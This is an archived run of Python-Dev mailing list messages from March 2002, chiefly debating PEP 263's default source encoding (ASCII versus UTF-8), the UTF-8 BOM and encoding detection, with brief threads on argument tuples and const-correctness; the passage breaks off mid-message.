In-Reply-To: <8F3776A6-3601-11D6-95E1-003065517236@oratrix.com>
References: <8F3776A6-3601-11D6-95E1-003065517236@oratrix.com>
Message-ID: <m3eliosyts.fsf@mira.informatik.hu-berlin.de>

Jack Jansen <Jack.Jansen@oratrix.com> writes:

> - I assume 'failobjects' are deallocated on failure, not success, yes?

Oops, right. More precisely: the list is deallocated in either case,
but the objects survive clearing in case of success.

> - I miss a rationale (some use cases would be nice)

I'm primarily concerned with the rationale given: fixing the bugs
#416288 and #501716. I should also give the rationale of allowing
introduction of the 'E' converter; beyond that, I don't know what
applications people envision - contributions are welcome.

> - it's nowhere explained how the ...Memory() calls would be
> implemented.

It's an implementation detail :-) I plan to use a PyCObject, using a
destructor and a description-cookie.

> - Would the interpreter mainloop always create argument tuples where
> it now uses normal tuples? 

It would always allocate an argument tuple. It would keep the lists
empty (NULL) until they are used. I'll add that.

> Is this a method flag? What's the cost of conversion (or of using
> ArgumentTuples in stead of tuples in general)?

The cost should be an increase by 8 bytes in the size of the argument
tuple if the affected converters are not used; otherwise, it will
allocate additional objects depending on the arguments passed.

If people simultaneously change 'e' converters to 'E' converters, I
expect a speed-up, since there will be typically one memory allocation
less per affected argument.

> Issues with apply()?

Indeed. I did not think about this so far: with the implementation I
had in mind, a warning would be produced and the resulting object
becomes garbage if AddOkMemory is invoked in the function being
applied. I guess this is not acceptable.

One solution would be to copy all argument tuples in apply. That cost
could be reduced by adding a method flag, and only copy if the method
being applied uses an affected converter.

Another solution would be to give up the entire of a new type, and use
a weak dictionary to associate the argument tuples with additional
information. That would require that tuples become weakly
referencable. 

Input on that matter would be appreciated.

> - What would happen to calls that still use normal tuples? There's a
> lot of callback code out there...

In principle, this is the same issue as apply: if the code creates
tuples on its own, it may produce garbage. OTOH, if the code uses
PyObject_Call, then everything would work fine: PyObject_Call would
create argument tuples.

Another option is to have Py_BuildValue create argument tuples, but
I'm not sure that this would help much.

It appears that the apply() issue might kill the entire idea;
suggestions how to proceed are welcome.

Regards,
Martin


From martin@v.loewis.de  Wed Mar 13 07:45:31 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 13 Mar 2002 08:45:31 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp>
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp>
Message-ID: <m3adtcsyg4.fsf@mira.informatik.hu-berlin.de>

SUZUKI Hisao <suzuki611@oki.com> writes:

> Just one worry:  it may be incompatible with '#!/usr/bin/env'
> used in Unix.

That is a problem for Unix users; Windows users find it less of a
problem. I do hope Unix will change in this respect (atleast I hope
Linux will change); that will take quite some time.

> 1. Wait until when the UTF-8 is popular, and then adopt the UTF-8
>    the sole encoding.  (The time might come within two years.)
> 
> 2. Make Python able to handle various encodings which are in use
>    now.
> 
> And I'd believe that once taking the option 2., it would be
> still sensible to make UTF-8 the default encoding.

I agree, but again, it is a matter of timing. Making UTF-8 the default
encoding in two years may be acceptable; it certainly wasn't two years
ago when the Unicode support was introduced in Python. 

Just be patient; forcing UTF-8 upon people will help nobody. Instead,
fix all the issues that adoption of UTF-8 would have, wait for people
to adopt the new technology widely, then change the default. At the
moment, it is an unfortunate fact that only ASCII is adopted widely
(and we had to wait 40 years for that).

Regards,
Martin


From martin@v.loewis.de  Wed Mar 13 07:54:18 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 13 Mar 2002 08:54:18 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <15502.62714.274557.959108@magrathea.basistech.com>
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp>
 <87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp>
 <15502.62714.274557.959108@magrathea.basistech.com>
Message-ID: <m36640sy1h.fsf@mira.informatik.hu-berlin.de>

Tom Emerson <tree@basistech.com> writes:

> The UTF-8 BOM is an aBOMination that should not be allowed to
> live. The only editor that I know of that inserts the sequence is
> Microsoft's WordPad (or TextPad, I don't use either). I hope XEmacs
> isn't going to do this.

I used to think the same way, but now I have changed sides. I still
agree that the notion of UCS byte orders is an abomination, and even
that using UCS in on-disk files is a stupid thing to do.

Reliable detection of encodings is a good thing, though, as the Web
has demonstrated. Encoding declarations are good (this is the idea
behind PEP 263). Just consider the UTF-8 BOM not as a byte-order mark
(what byte order, anyway), but as an encoding declaration, or
signature. With that view, I can happily accept it as useful, and I
wish more editors would atleast comprehend it (in the sense of
displaying it with zero width), and perhaps even generate it.

Regards,
Martin


From stephen@xemacs.org  Wed Mar 13 07:49:44 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 13 Mar 2002 16:49:44 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <15502.62714.274557.959108@magrathea.basistech.com>
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp>
 <87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp>
 <15502.62714.274557.959108@magrathea.basistech.com>
Message-ID: <878z8wx5yf.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Tom" == Tom Emerson <tree@basistech.com> writes:

    Tom> I hope XEmacs isn't going to do this.

No, I just meant that if silly editors are going to do it, Python
can't do much about it.

But XEmacs will not insert UTF-8 NO-BREAK ZERO-WIDTH SPACEs except at
user request.

-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From stephen@xemacs.org  Wed Mar 13 09:11:42 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 13 Mar 2002 18:11:42 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <m36640sy1h.fsf@mira.informatik.hu-berlin.de>
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp>
 <87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp>
 <15502.62714.274557.959108@magrathea.basistech.com>
 <m36640sy1h.fsf@mira.informatik.hu-berlin.de>
Message-ID: <874rjkx25t.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Martin" == Martin v Loewis <martin@v.loewis.de> writes:

    Martin> Reliable detection of encodings is a good thing, though,

I would think that UTF-8 can be quite reliably detected without the
"BOM".

I suppose you could construct short ambiguous sequences easily for
ISO-8859-[678] (which are meaningful in the corresponding natural
language), but it seems that even a couple dozen characters would make
the odds astronomical that "in the wild" syntactic UTF-8 is intended
to be UTF-8 Unicode (assuming you're expecting a text file, such as
Python source).  Is that wrong?  Have you any examples?  I'd be
interested to see them; we (XEmacs) have some ideas about
"statistical" autodetection of encodings, and they'd be useful test
cases.

    Martin> as the Web has demonstrated.

But the Web in general provides (mandatory) protocols for identifying
content-type, yet I regularly see HTML files with incorrect http-equiv
meta elements, and XHTML with no encoding declaration containing Shift
JIS.  Microsoft software for Japanese apparently ignores Content-Type
headers and the like in favor of autodetection (probably because the
same MS software regularly relies on users to set things like charset
parameters in MIME Content-Type).

I can't tell my boss that his mail is ill-formed (well, not to any
effect).  So I'd really love to be able to watch his face when Python
2.3 tells him his program is not legally encoded.

But I guess that's not convincing enough reason for Guido to mandate
UTF-8.<wink>



-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From suzuki611@oki.com  Wed Mar 13 09:52:24 2002
From: suzuki611@oki.com (SUZUKI Hisao)
Date: Wed, 13 Mar 2002 18:52:24 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203121333.g2CDXoM11501@pcp742651pcs.reston01.va.comcast.net>
 (message from Guido van Rossum on Tue, 12 Mar 2002 08:33:50 -0500)
Message-ID: <200203130952.SAA31438@suzuki611.ngo.okisoft.co.jp>

> > Please note that
> > u'<whatever-in-ascii>' is interpreted just literally and we
> > cannot put Japanese characters in string literals legally for
> > now anyway.
> 
> Would you like to be able to?  The PEP will allow this -- that's its
> whole point!

Yes, I would.  And I wish that the PEP would
(1) allow once-and-for-all transition to the new scheme
    (if the default encoding will be UTF-8 in the far future and
    encoding spedifications will lose their significance someday,
    I'd rather like to use UTF-8 as the default for now), and
(2) not break any legal code, unless the breaking is reasonably
    tolerable one.

> > It sounds very nice.  I understand that the default data
> > encoding will be applied to what from file objects.  It must be
> > the only(?) satisfying solution if the default source encoding
> > is to be set in site.py.
> > # Or else we should give up the default encoding for data...
> 
> I would strongly encourage the latter.  Are you really sure that there
> isn't a better way to avoid having to type the encoding name all the
> time?  E.g. define your own helper functions?

Certainly there would be.  Anyway in that Martin v. Loewis
advised me on the danger of using UTF-16 as the default encoding
in the _current_ Python, we will do up things.

# Though currently we do not meet severe problems luckily.  If
# there is danger, I wonder it might be a bug of the current
# Python.

> > I'm sorry for the ambiguity.
> > I proposed ASCII as the _minimum_ request.  I'd _hope_ UTF-8.

> I will ignore the rest of your message, which is just repeating
> age-old arguments why we should use UTF-8.  We have considered this
> carefully in the past, and rejected the idea.  I see nothing new in
> your argument.

> And yes, using ASCII is unfair to all non-English speakers.  But
> Python uses English keywords anyway; I don't think we should strive
> for total cultural relativism, and it's certainly not a fight I feel
> the desire to fight for now.

I see, though it is regrettable.

Personally speaking, _I_ have been using the same source files
written in UTF-8 among the various environments at home as a
hobby: BeOS, MacOS X, GNU/Linux and Windows Me/XP.  They run
very well for now without any encoding conversion.

# In fact the "pypage" Web server referred in my reply to Martin
# v. Loewis is such one.  It runs very well on the current
# Python almost everywhere because it does not treat strings as
# Unicode at all for now.

Strictly speaking, they are illegal and I have no right to
insist for them at all.  Yes, I will put either the magic
comment or UTF-8 BOM on all of them.

# In fact I will use the magic comment because I want to make my
# program runnable in many versions of Python as possible.

--
SUZUKI Hisao <suzuki@acm.org> <suzuki611@okisoft.co.jp>


From mal@lemburg.com  Wed Mar 13 10:01:19 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 13 Mar 2002 11:01:19 +0100
Subject: [Python-Dev] PEP 263 - default encoding
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
Message-ID: <3C8F236F.2512966F@lemburg.com>

Ok, let me summarize what I have learned in this thread:

1. People who used tweaked default encodings for Python have a
problem with the interpreter defaulting to this default encoding
for Python source files.

2. Source files which were written on platforms with differently
tweaked default encoding and without explicit magic comment
stating the source file encoding may cause trouble.

3. The Japanese user who wrote to me about the problem with
having to regularly switch between two different encodings
(one on Windows, one on Unix) has withdrawn his request. This
request originally lead to the idea of using the interpreter's
default encoding as default for the source files as well.

My conclusion to all this is to withdraw the default encoding
idea and replace it with the fixed ASCII default. This default
won't be changeable by other means that adding an explicit header
to the source file.

If anyone has objections, please speak up. 

Note that I don't want to head on into the UTF-8 discussion 
that has been going on. People who want the UTF-8 source code
encoding must use the UTF-8 coding header (and/or the BOM mark).

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From fredrik@pythonware.com  Wed Mar 13 11:38:49 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Wed, 13 Mar 2002 12:38:49 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp><87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp><15502.62714.274557.959108@magrathea.basistech.com><m36640sy1h.fsf@mira.informatik.hu-berlin.de> <874rjkx25t.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <006401c1ca83$ab706180$0900a8c0@spiff>

Stephen J. Turnbull wrote:
> But the Web in general provides (mandatory) protocols for identifying
> content-type, yet I regularly see HTML files with incorrect http-equiv
> meta elements, and XHTML with no encoding declaration containing Shift
> JIS.

which reminds me: the HTTP protocol says that a charset specified
at the HTTP protocol level should override any encoding specified in
the document itself.

how do we deal with this?  an encoding override to compile()?

</F>



From fredrik@pythonware.com  Wed Mar 13 11:28:05 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Wed, 13 Mar 2002 12:28:05 +0100
Subject: [Python-Dev] PEP 263 - default encoding
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp> <3C8F236F.2512966F@lemburg.com>
Message-ID: <006301c1ca83$ab68c060$0900a8c0@spiff>

mal wrote:

> My conclusion to all this is to withdraw the default encoding
> idea and replace it with the fixed ASCII default. This default
> won't be changeable by other means that adding an explicit
> header to the source file.

+1

(as long as the plan is to change ASCII to UTF-8 in some
yet unspecified future version)

> must use the UTF-8 coding header (and/or the BOM mark).

is "or" a good idea here?

</F>



From mal@lemburg.com  Wed Mar 13 12:04:15 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 13 Mar 2002 13:04:15 +0100
Subject: [Python-Dev] PEP 263 - default encoding
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp> <3C8F236F.2512966F@lemburg.com> <006301c1ca83$ab68c060$0900a8c0@spiff>
Message-ID: <3C8F403F.313BB1C@lemburg.com>

Fredrik Lundh wrote:
> 
> mal wrote:
> 
> > My conclusion to all this is to withdraw the default encoding
> > idea and replace it with the fixed ASCII default. This default
> > won't be changeable by other means that adding an explicit
> > header to the source file.
> 
> +1
> 
> (as long as the plan is to change ASCII to UTF-8 in some
> yet unspecified future version)

Fine with me.
 
> > must use the UTF-8 coding header (and/or the BOM mark).
> 
> is "or" a good idea here?

Good question. I'll leave that to the Windows experts ;-)

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From mal@lemburg.com  Wed Mar 13 12:06:49 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 13 Mar 2002 13:06:49 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp><87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp><15502.62714.274557.959108@magrathea.basistech.com><m36640sy1h.fsf@mira.informatik.hu-berlin.de> <874rjkx25t.fsf@tleepslib.sk.tsukuba.ac.jp> <006401c1ca83$ab706180$0900a8c0@spiff>
Message-ID: <3C8F40D9.2A2A2EAA@lemburg.com>

Fredrik Lundh wrote:
> 
> Stephen J. Turnbull wrote:
> > But the Web in general provides (mandatory) protocols for identifying
> > content-type, yet I regularly see HTML files with incorrect http-equiv
> > meta elements, and XHTML with no encoding declaration containing Shift
> > JIS.
> 
> which reminds me: the HTTP protocol says that a charset specified
> at the HTTP protocol level should override any encoding specified in
> the document itself.
> 
> how do we deal with this?  an encoding override to compile()?

The PEP says:
"""
       The builtin compile() API will be enhanced to accept Unicode as
       input. 8-bit string input is subject to the standard procedure
       for encoding detection as decsribed above.
"""
so the problem of decoding source code input to compile()
is shifted into the application space.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From jason@jorendorff.com  Wed Mar 13 12:16:10 2002
From: jason@jorendorff.com (Jason Orendorff)
Date: Wed, 13 Mar 2002 06:16:10 -0600
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: <3C8F236F.2512966F@lemburg.com>
Message-ID: <HFEKILOLEFEFMKAECNDLIECMDJAA.jason@jorendorff.com>

M.-A. Lemburg wrote:
> My conclusion to all this is to withdraw the default encoding
> idea and replace it with the fixed ASCII default. This default
> won't be changeable by other means that adding an explicit header
> to the source file.

+1

> Note that I don't want to head on into the UTF-8 discussion 
> that has been going on. People who want the UTF-8 source code
> encoding must use the UTF-8 coding header (and/or the BOM mark).

+1

## Jason Orendorff    http://www.jorendorff.com/


From jason@jorendorff.com  Wed Mar 13 12:27:46 2002
From: jason@jorendorff.com (Jason Orendorff)
Date: Wed, 13 Mar 2002 06:27:46 -0600
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <006401c1ca83$ab706180$0900a8c0@spiff>
Message-ID: <HFEKILOLEFEFMKAECNDLAECODJAA.jason@jorendorff.com>

Fredrik Lundh wrote:
> which reminds me: the HTTP protocol says that a charset specified
> at the HTTP protocol level should override any encoding specified in
> the document itself.

I believe HTTP (RFC 2616) rather meekly asserts that the HTTP
Content-Type header *always* defines the encoding of the body.
If no charset is specified, the body is ISO-8859-1.

I believe this requirement is ignored in practice.  HTTP servers
don't correctly label outgoing documents, and HTTP clients ignore
whatever the HTTP server says.

Browsers usually search HTML documents for <meta> and XML documents
for <?xml encoding=?>, and I think they always prefer a document's
internal mark to what the HTTP headers say.  (Anyone know for sure?)

Just another charset headache.

## Jason Orendorff    http://www.jorendorff.com/


From fredrik@pythonware.com  Wed Mar 13 12:34:30 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Wed, 13 Mar 2002 13:34:30 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp><87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp><15502.62714.274557.959108@magrathea.basistech.com><m36640sy1h.fsf@mira.informatik.hu-berlin.de> <874rjkx25t.fsf@tleepslib.sk.tsukuba.ac.jp> <006401c1ca83$ab706180$0900a8c0@spiff> <3C8F40D9.2A2A2EAA@lemburg.com>
Message-ID: <008501c1ca8b$70f8e830$0900a8c0@spiff>

mal wrote:

> The PEP says:
> """
>        The builtin compile() API will be enhanced to accept Unicode as
>        input. 8-bit string input is subject to the standard procedure
>        for encoding detection as decsribed above.
> """

so if you pass in a Unicode string, any "coding" declaration
is ignored?

> so the problem of decoding source code input to compile()
> is shifted into the application space.

in other words, something like this should work:

    stream =3D make_http_request(...)
    body =3D stream.read()
    charset =3D stream.getheader("content-type", "charset")
    if charset:
        body =3D unicode(body, charset)
    code =3D compile(body, ...)

</F>



From chagner@yahoo.com  Wed Mar 13 12:42:01 2002
From: chagner@yahoo.com (Chris Hagner)
Date: Wed, 13 Mar 2002 04:42:01 -0800 (PST)
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
Message-ID: <20020313124201.34544.qmail@web10407.mail.yahoo.com>

>>Greg Ewing wrote...
>>Seems to me there shouldn't be changeable default
>>encoding for source files at all. The encoding of
>>a source file is a property of the file itself,
>>not the interpreter used to read it.
>
>Guido van Rossum wrote...
>But practicality beats purity.  Some people don't exchange Python code
>with others, but they use a lot of code they write and maintain
>themselves.  It's hard to explain to them the need of repeating the
>encoding in every single module.

This may be naive, but would a package-level encoding specifier be a useful
middle ground?  This would adhere to the "purity" of associating the encoding
with the source files, but still provide a less laborious solution (assuming
source files are relatively well-organized in packages)...

Along this line of thought, I would assume the big question would be, "Is it
safe/fair/wise to assume a package's source files are homogenous
(encoding-wise)?".

Chris Hagner


__________________________________________________
Do You Yahoo!?
Try FREE Yahoo! Mail - the world's greatest free email!
http://mail.yahoo.com/


From mal@lemburg.com  Wed Mar 13 12:44:16 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 13 Mar 2002 13:44:16 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp><87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp><15502.62714.274557.959108@magrathea.basistech.com><m36640sy1h.fsf@mira.informatik.hu-berlin.de> <874rjkx25t.fsf@tleepslib.sk.tsukuba.ac.jp> <006401c1ca83$ab706180$0900a8c0@spiff> <3C8F40D9.2A2A2EAA@lemburg.com> <008501c1ca8b$70f8e830$0900a8c0@spiff>
Message-ID: <3C8F49A0.B22645D3@lemburg.com>

Fredrik Lundh wrote:
> 
> mal wrote:
> 
> > The PEP says:
> > """
> >        The builtin compile() API will be enhanced to accept Unicode as
> >        input. 8-bit string input is subject to the standard procedure
> >        for encoding detection as decsribed above.
> > """
> 
> so if you pass in a Unicode string, any "coding" declaration
> is ignored?

Right.
 
> > so the problem of decoding source code input to compile()
> > is shifted into the application space.
> 
> in other words, something like this should work:
> 
>     stream = make_http_request(...)
>     body = stream.read()
>     charset = stream.getheader("content-type", "charset")
>     if charset:
>         body = unicode(body, charset)
>     code = compile(body, ...)

Yes.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From David Abrahams" <david.abrahams@rcn.com  Wed Mar 13 13:31:50 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Wed, 13 Mar 2002 08:31:50 -0500
Subject: [Python-Dev] Opinions on const-correctness?
References: <16ksby-0wg12mC@fwd09.sul.t-online.com><200203122047.g2CKlK717803@pcp742651pcs.reston01.va.comcast.net><045c01c1ca08$ad691a20$0202a8c0@boostconsulting.com> <m3it81rlff.fsf@mira.informatik.hu-berlin.de>
Message-ID: <005001c1ca93$c6533670$0202a8c0@boostconsulting.com>

As far as I can tell, there are maybe 3 standard library functions which
might cause you to need to cast away const on an immutable buffer:

strtoimax
strtoumax
tmpnam

Am I missing something? Admittedly, I'm not intimately familiar with
what the 'C' committee did to the library when they introduced const to
the language.

-Dave
----- Original Message -----
From: "Martin v. Loewis" <martin@v.loewis.de>
To: "David Abrahams" <david.abrahams@rcn.com>
Cc: "Guido van Rossum" <guido@python.org>; <python-dev@python.org>
Sent: Wednesday, March 13, 2002 2:12 AM
Subject: Re: [Python-Dev] Opinions on const-correctness?


> "David Abrahams" <david.abrahams@rcn.com> writes:
>
> > Only if you change the strings /returned/ by Python (or structure
> > members) to const char*. Changing your parameters to const char*
won't
> > hurt anybody.
>
> It sure will. Inside the functions you change, you may not be able to
> use the argument as before. In particular, you may not be able to call
> functions from the standard C library anymore.
>
> Regards,
> Martin



From guido@python.org  Wed Mar 13 13:47:27 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 13 Mar 2002 08:47:27 -0500
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: Your message of "Wed, 13 Mar 2002 12:28:05 +0100."
 <006301c1ca83$ab68c060$0900a8c0@spiff>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp> <3C8F236F.2512966F@lemburg.com>
 <006301c1ca83$ab68c060$0900a8c0@spiff>
Message-ID: <200203131347.g2DDlR321024@pcp742651pcs.reston01.va.comcast.net>

> mal wrote:
> 
> > My conclusion to all this is to withdraw the default encoding
> > idea and replace it with the fixed ASCII default. This default
> > won't be changeable by other means that adding an explicit
> > header to the source file.

+1.

This was my original stance. :-)

> +1
> 
> (as long as the plan is to change ASCII to UTF-8 in some
> yet unspecified future version)

+1

--Guido van Rossum (home page: http://www.python.org/~guido/)


From ishimoto@gembook.org  Wed Mar 13 14:13:41 2002
From: ishimoto@gembook.org (Atsuo Ishimoto)
Date: Wed, 13 Mar 2002 23:13:41 +0900
Subject: [Python-Dev] Re: PEP 263 - default encoding
Message-ID: <20020313220625.FCBD.ISHIMOTO@gembook.org>

Hello,

I am a Japanese who sent a request to MAL. Let me explain about some
issues.

1. I didn't request to make sys.defaultencoding() as default. 
This is a part of the mail I sent you.

> 2. "native encoding" specifier
> 
> A special encoding name such as "native" or "defaultencoding"
> that means "to obey sys.defaultencoding()" may helpful.  Here in
> Japan, we use two character encodings, ShiftJIS on Windows and
> EUC-JP on various Unix.  When we move Python source files among
> these platforms, we usually have to convert the file encoding of
> the source files (just like as you convert CR+LF to LF when you
> move text files from Windows to Unix).  Not only tools for
> manual encoding conversion, we also have a patched version of
> CVS to do it automatically.  However, if we fix a file encoding
> by a magic comment, the task of encoding conversion will be
> complicated, because we should scan source files and update the
> magic comment when moving the files from one platform to the
> other.  If we can use a "defaultencoding" encoding that the
> actual meaning varies among platforms, we can safely convert the
> file encoding without editing the magic comment, so that we can
> use common encoding conversion tools such as nkf(1), ack(1) and
> the patched version of CVS.

What I wanted is "special encoding name" that refers to sys.defaultencoding().
But, as I told to MAL,  I changed my mind because I found I can create
new special codec to do this, and it's pretty easy. 

I'm sorry for late for sending mail about misapprehension, but I'm not
on this list and I didn't know this until today. It is easier for me and
other Japanese to join discussion if you move this topic to i18n-sig.
(And if you can bear my English. The mail I sent to MAL was translated
to English by Tamito, an author of the JapaneseCodecs).

About default encoding, I agree with ascii.

2. Code conversion is necessary for Japanese programmers.

I think Python core don't have to mention about Japanese specific
issues, because PEP 263 is general enough to support our encodings.

But please don't think that Japanese people are happy with utf-8. Suzuki
wrote that I told we don't need code conversion, but this is not true. I
don't know why he wrote so, and most of us needs native encodings such
as ShiftJIS or EUC-JP.

Regards, 

--------------------------
Atsuo Ishimoto
ishimoto@gembook.org
Homepage:http://www.gembook.jp




From mal@lemburg.com  Wed Mar 13 14:39:22 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 13 Mar 2002 15:39:22 +0100
Subject: [Python-Dev] Re: PEP 263 - default encoding
References: <20020313220625.FCBD.ISHIMOTO@gembook.org>
Message-ID: <3C8F649A.73D0E15E@lemburg.com>

Atsuo Ishimoto wrote:
> 
> Hello,
> 
> I am a Japanese who sent a request to MAL. Let me explain about some
> issues.
> 
> 1. I didn't request to make sys.defaultencoding() as default.
> This is a part of the mail I sent you.
> 
> > 2. "native encoding" specifier
> >
> > A special encoding name such as "native" or "defaultencoding"
> > that means "to obey sys.defaultencoding()" may helpful.  Here in
> > Japan, we use two character encodings, ShiftJIS on Windows and
> > EUC-JP on various Unix.  When we move Python source files among
> > these platforms, we usually have to convert the file encoding of
> > the source files (just like as you convert CR+LF to LF when you
> > move text files from Windows to Unix).  Not only tools for
> > manual encoding conversion, we also have a patched version of
> > CVS to do it automatically.  However, if we fix a file encoding
> > by a magic comment, the task of encoding conversion will be
> > complicated, because we should scan source files and update the
> > magic comment when moving the files from one platform to the
> > other.  If we can use a "defaultencoding" encoding that the
> > actual meaning varies among platforms, we can safely convert the
> > file encoding without editing the magic comment, so that we can
> > use common encoding conversion tools such as nkf(1), ack(1) and
> > the patched version of CVS.
> 
> What I wanted is "special encoding name" that refers to sys.defaultencoding().
> But, as I told to MAL,  I changed my mind because I found I can create
> new special codec to do this, and it's pretty easy.

Sorry for my misinterpretation.
 
> I'm sorry for late for sending mail about misapprehension, but I'm not
> on this list and I didn't know this until today. It is easier for me and
> other Japanese to join discussion if you move this topic to i18n-sig.
> (And if you can bear my English. The mail I sent to MAL was translated
> to English by Tamito, an author of the JapaneseCodecs).
> 
> About default encoding, I agree with ascii.

Great !

BTW, writing a codec which simply redirects to the encoding
given in sys.getdefaultencoding() is easy. But because of all
the troubles this can cause, I wouldn't recommend it.
 
> 2. Code conversion is necessary for Japanese programmers.
> 
> I think Python core don't have to mention about Japanese specific
> issues, because PEP 263 is general enough to support our encodings.

Good.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From tree@basistech.com  Wed Mar 13 14:41:01 2002
From: tree@basistech.com (Tom Emerson)
Date: Wed, 13 Mar 2002 09:41:01 -0500
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <874rjkx25t.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp>
 <87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp>
 <15502.62714.274557.959108@magrathea.basistech.com>
 <m36640sy1h.fsf@mira.informatik.hu-berlin.de>
 <874rjkx25t.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <15503.25853.171513.605772@magrathea.basistech.com>

Stephen J. Turnbull writes:
> >>>>> "Martin" =3D=3D Martin v Loewis <martin@v.loewis.de> writes:
>=20
>     Martin> Reliable detection of encodings is a good thing, though,
>=20
> I would think that UTF-8 can be quite reliably detected without the
> "BOM".

Detecting UTF-8 is relatively straightforward: Martin D=FCrst has
presented on this at the last few Unicode conferences. Implementing
this is trivial to anyone who thinks about it.

> I suppose you could construct short ambiguous sequences easily for
> ISO-8859-[678] (which are meaningful in the corresponding natural
> language), but it seems that even a couple dozen characters would mak=
e
> the odds astronomical that "in the wild" syntactic UTF-8 is intended
> to be UTF-8 Unicode (assuming you're expecting a text file, such as
> Python source).  Is that wrong=3F  Have you any examples=3F  I'd be
> interested to see them; we (XEmacs) have some ideas about
> "statistical" autodetection of encodings, and they'd be useful test
> cases.

The problem with the ISO-8859-x is that the encoding space is
identical for all of them, making it difficult without statistical or
lexical methods to determine which you are looking at. EUC-CN and
EUC-KR have a similar problem: just looking at the bytes themselves
you cannot immediately tell whether a document is Chinese or
Korean. Compare this Big 5, ShiftJIS, or any of the ISO-2022 encodings
where it is pretty easy to detect these just by looking at the byte
sequences.

There are a bunch of statistical language/encoding identifiers out in
the wild, and frankly most of them suck for real text. Anyone working
in the space usually starts with Cavnar and Trenkle's "N-Gram-Based
Text Categorization", then train it with whatever random data they
have (http://odur.let.rug.nl/~vannoord/TextCat/competitors.html has a
list of tools). Finding enough text in the languages you are
interested in can be hard. For example, Lextek claims to support 260
languages. If you examine the list shows that they used the UN HCR
text as their training corpus: languages whose UNHCR translation is
provided as GIFs or PDFs are not included in Lextek's tool. So, while
it can detect text written in a relatively obscure South American
language, it does not detect Chinese, Japanese, Korean, or
Arabic. Further, because of the small corpus size, it is very easy to
confuse it. My standard test for a language/encoding identifier is to
type the string in UPPER CASE. For example, go to

http://odur.let.rug.nl/~vannoord/TextCat/Demo/

and enter

